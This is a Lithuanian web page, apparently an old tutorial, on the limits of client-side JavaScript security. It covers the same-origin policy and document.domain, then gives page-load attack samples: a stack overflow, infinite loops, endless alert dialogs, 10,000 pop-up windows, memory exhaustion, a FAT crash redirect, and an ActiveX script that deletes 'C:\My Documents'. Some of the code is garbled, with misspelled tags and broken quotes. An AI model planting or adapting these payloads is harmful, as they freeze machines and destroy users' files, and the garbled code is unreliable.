Login form




JAVASCRIPT priešas
Ši informacija pasenus, bet kartais verta patikrinti:

Uždraustos galimybės

Kaip buvo paminėta, pirmoji gynybos linija prieš piktavalį į kliento-pusę nukreiptą kodą yra ta, kad kalba neturi tokių galimybių. Pavyzdžiui, kliento-pusės JavaScript turi close() metodą, naudojamą Windows objekte. Tačiau daugumos web naršyklių vidinės saugumo nuostatos draudžia šio metodo panaudojimą, išskyrus atvejus, kai įskiepas uždaro langą, kurį, iš to paties web serverio, pats atidarė. Įskiepas negali uždaryti lango, kurį atidarė pats vartotojas, o jeigu jis bando tai padaryti, vartotojui parodomas patvirtinimo užklausimas, ar tikrai jis nori uždaryti langą.
Pats svarbiausias apsaugos apribojimas yra žinomas kaip tos-pačios-kilmės (same-origin policy) taisyklė. Žemiau pateikiamas kitų apsaugos apribojimų sąrašas, sutinkamas daugumoje JavaScript kliento-pusės versijose:
- History objektas buvo sukurtas kaip URL masyvas, kuris pateikia pilną naršyklės aplankytų puslapių istoriją. Kai privatumo atskleidimo panaudojimas tapo akivaizdus, pilnas priėjimas prie esančio URL sąrašo buvo uždraustas ir History objektas liko tik su back(), forward() ir go() metodais, leidžiančiais naršyklei judėti per istorijos masyvą neatskleidžiant jo turinio.
- FileUpload objekto value savybė negali būti nustatyta. Jei šią savybę būtų galima nustatyti, įskiepas galėtu nustatyti bet kokį failo vardą, ir forma galėtu išsiųsti į serverį nurodyto failo (kad ir slaptažodžių failo) turinį.
- Įskiepas negali išsiųsti formos (pavyzdžiui, naudojant submit() Form objekto metodą į mailto: ar news: URL be tiesioginio vartotojo patvirtinimo. Tokios formos išsiuntimas turėtų savyje vartotojo elektroninio pašto adresą, kuris neturėtu būti viešas, be vartotojo sutikimo. JavaScript programa negali uždaryti naršyklės lango be vartotojo sutikimo, išskyrus kai langąji atidarė pati. Tai neleidžia kodui panaudoti self.close(), uždarant vartotojo naršyklės langą, kas lemtu programos darbo pabaigą.
- Įskiepas negali atidaryti lango, su mažesne nei 100 taškų (pixels) kraštine ar sumažinti lango iki mažesnio nei 100 taškų kraštinėje. Taip pat, įskiepas negali užvesti lango už ekrano ribų ar sukurti lango, didesnio už ekraną. Tai neleidžia įskiepams atidaryti langų, kurių vartotojas gali nepastebėti. Tokie langai savyje gali laikyti įskiepus, kurių veikla yra nesustojusi, nors vartotojas galvoja, kad jie neveikia. Taip pat, įskiepas negali sukurti naršyklės lango be antraštės, todėl kad toks langas gali būti palaikytas operacinės sistemos dialogo langu ir pavyzdžiui, gali pasinaudoti vartotoju, paprašydamas jo įvesti sistemos slaptažodį.
- Įskiepas negali lange ar rėme (frame) išvesti about: URL, tokios kaip about:cache, todėl kad šios URL gali atskleisti sistemos informaciją, tokią kaip naršyklės laikinosios atminties turinys. Įskiepas negali nustatyti bet kokios Event objekto savybės. Įskiepas negali fiksuoti įvykių ar reaguoti į įvykius dokumentuose, užkrautuose iš kitų šaltinių, o ne iš pačio įskiepo. Tai neleidžia įskiepams stebėti vartotojo atliekamų veiksmų (tokių kaip klavišų paspaudimai, įvedant slaptažodžius) kituose puslapiuose.


Tos-pačios-kilmės taisyklė

Šis apribojimas leidžia įskiepui skaityti tik tų langų ir dokumentų savybes, kurie yra tos pačios kilmės, t.y. kurie buvo užkrauti iš to paties mazgo (host\ tos pačios jungties (porf) ir to paties protokolo kaip ir pats įskiepas.
Tos pačios kilmės taisyklė nevisiškai tinka visų objektų visoms savybėms kitos kilmės lange. Bet ji praktiškai tinka visoms Document objekto savybėms. Tos-pačio-kilmės taisyklė yra žiaurus apribojimas, bet būtina užkirsti kelią įskiepams vogti privačią informaciją. Be šio apribojimo nepatikimas įskiepas, (pavyzdžiui, užkrautas per ugniasienę į naršyklę, esančią apsaugotame įmonės vidiniame tinkle) esantis viename lange, galėtu panaudoti DOM (Document Object Model) metodus ir nuskaityti dokumentų turinius kituose naršyklės languose, kuriuose gali būti asmeninė informacija.
Visgi, yra padėčių, kuriuose tos-pačios-kilmės taisyklė yra per griežta. Keblioje padėtyje yra didelės struktūros web puslapiai, kurie naudoja daugiau nei vieną serverį. Pavyzdžiui, įskiepas iš home.microsoft.com gali teisėtai norėti nuskaityti dokumento, užkrauto iš developer.microsoft.com, savybes arba [skiepams iš orders.amazon.com galbūt reikia nuskaityti documentų, esančių catalog.amazon.com savybes. Palaikant tokios didelės struktūros web puslapius, JavaScript 1.1 pristatė Document objekto domain savybę. Pagal nutylėjimą, domain savybė turi serverio mazgo vardą, iš kurio buvo užkrautas dokumentas. Galima nustatyti šią savybę, bet tik kaip atitinkančią esamai sričiai (domain). Jeigu domain reikšmė pradžioj buvo "home.microsoft.com", galima jį nustatyti kaip "microsoft.com", bet ne kaip "home.microsoft" ar "soft.com" ir tuo labiau ne kaip "netscape.com" (domain reikšmė privalo turėti bet vieną tašką ir jos negalima nustatyti kaip "com" ar kitos aukščiausio lygio srities priesagos).
Jeigu du langai (ar rėmai) turi įskiepus, kurių domain reikšmė yra vienoda, tos-pačios-kilmės taisyklė negalioja šiems dviems langams ir kiekvienas langas gali nuskaityti kito savybes. Pavyzdžiui, sąveikaujantys įskiepai esantys dokumentuose užkrautuose iš orders.amazon.com ir catalog.amazon.com gali turėti nustatytądocument.domain savybę kaip "amazon.com", kurios dėka abu dokumentai tampa tos pačios kilmės ir gali nuskaityti vienas kito savybes.
Kaip matome yra pakankamai daug apribojimų, kurie tikrai neleidžia pavadinti JavaScript viena, iš didžiausią griovimo jėgą turinčia, programavimo kalba. Kyla klausimas - tai kuo JavaScript gali pakenkti?

Steko perpildymas

Perpildyto steko būsena - sukuriama daug kartų iššaukiant funkcija, kuri kreipiasi į save:
<HTML>
<HEAD>
<TITLE>Steko perpildymas</TTTLE>
<SCRIPT LANGUAGE="JavaScript">
function PilnasStekas() {
PilnasStekas(); //funkcija kreipiasi į save
}
</SCRIPT>
</HEAD>
<BODY onLoad="PilnasStekas()"> //komanda įvykdoma iškart po puslapio užkrovimo
</BODY>
</HTML>

Nesibaigiantys ciklai

JavaScript kodas, vykdantis nesibaigiantį ciklą, blokuoja visus naršyklės langus. Pagal Netscape tvirtinimą, JavaScript kodas turi automatiškai baigtis po 100000 ciko ratų, o vartotojas turi turėti galimybę paspausti Stop mygtuką:
<HTML>
<HEAD>
<TlTLE>Nesibaigiantis ciklas</TITLE>
<SCRIPT LANGUAGE="JavaScript">
function NesibaigiantisOklas() {
for (var i=0; ;i++) //nesibaigiančio ciklo pradžia
document.write("Žinutės pabaiga"); //į ekraną išvedamas pranešimas
</SCRIPT>
</HEAD>
<BODY onLoad="NesibaigiantisCiklas()">//komanda įvykdoma iškart po puslapio užkrovimo
</BODY>
</HTML>

Nesibaigiantys modalinio dialogo langai

JavaScript kodas daug kartų vaizduojantis signalinius langus, gali būti atakos pavyzdžiu, naudojančiu begalinių modalinių dialogo langų metodą:
<HTML>
<HEAD>
<TULE>Modaliniai dialogo langai</TTTLE>
<SCRIPT LANGUAGE="JavaScript">
function Langai() {
for (var i = 0;; i++) //nesibaigiančio ciklo pradžia
alert("Kodėl aš negaliu sustabdyti langų?"); //į ekraną išvedamas pranešimas
}
</SCRIPT>
</HEAD>
<BODY onLoad="Langai()">//komanda įvykdoma iškart po puslapio užkrovimo
</BODY>
</HTML>


JavaScript kodų pavyzdžiai : kodas atidarantis begalę langų interner explorer, ko pasekoje vartotojo kompiuteris pakimba:

<html>
<head>
<script language = javascript>
function generate_windows(){
var i=1;
while (i < 10000){ //pagrindinis ciklas
window.open("script.htm"); // naujas langas  su nuoroda į tą patį failą
i++; }}
</script>
</head>
<body onload = "generate_windows()">
</body>
</html>


Visos įmanomos atminties išnaudojimas

Netscape Navigator neriboja atminties dydžio, kuriuo gali naudotis JavaScript. To pasėkoje, ši ataka perpildo virtualiąją atmintį ir lėtina mašinos darbą:
<HTML>
<HEAD>
<TTTLE>Visa įmanoma atmintis</nTLE>
<SCRIPT LANGUAGE="JavaScript">
function Atmintis() {
var str; // tuščias kintamasis
for (var i = 0; ;i++) //nesibaigiančio ciklo pradžia
str += "kodėl niekas nežaidžia"; //kintamajame kaupiami duomenys
}
</SCRIPT>
</HEAD>
<BODY onLoad="Atmintis()">()">//komanda įvykdoma iškart po puslapio užkrovimo
</BODY>
</HTML>

Operacinės Sistemos klaidų išnaudojimas

Žemiau pateiktame pavyzdyje, mašinos darbas bus visiškai sustabdytas ir vartotojui reikės įjungti PC iš naujo. Išnaudojama FAT ir FAT32 failų išdėstymo lentelių adresavimo klaida (NTFS failų sistemai ši klaida neatneša žalos). Pvz. 5:
<HTML>
<HEAD>
<TITLE>Reboot Your PC</7TTLE>
</HEAD>
<BODY>
<SCRIPT LANGUAGE="JavaScript">
window.setTimeout("location.href='file:///C:/nul/nur"/5000) //po 5 sek. įvykdomas nukreipimas
</SCRIPT>
</BODY>
</HTML>

ActiveX įskiepų panaudojimas

ActiveX technologijos panaudojimas su JavaScript ar VBSript yra būdas, galintis padaryti didžiausią žalą. Nors vartotojai gali nustatyti naršyklės ir pašto kliento saugumo parametrus, kurie neleistų veikti žalingam kodui, dažniausiai tai nėra daroma. Žemiau pateiktame pavyzdyje, įskiepas ištrina visus kataloge My Documents laikomus vartotojo failus. Pvz. 6:
<HTML>
<HEAD>
<TITLE>ActiveX</nTLE> <SCRIPT LANGUAGE="JavaScript">
function Trinti(){
var fso = new ActiveXObject("Scripting.FileSystemObjec±");
if (fso.FolderExists("C:\\My Documents")) // jeigu My Documents yra
{fso.DeleteFolder("C:\\My Documents",true) //Ištrinamas katalogas
document.write("C:\\My Documents ištrintas");}
else
document.write('Tokio C:\\My Documents katalogo nėra");
}
</SCRIPT>
</HEAD>
<BODY onLoad="Trinti()"> //komanda įvykdoma iškart po puslapio užkrovimo

</BODY >
</HTML>



 
[ BBC news ][ Yahoo news ][ Linux guru ][ Webmaster ACE ]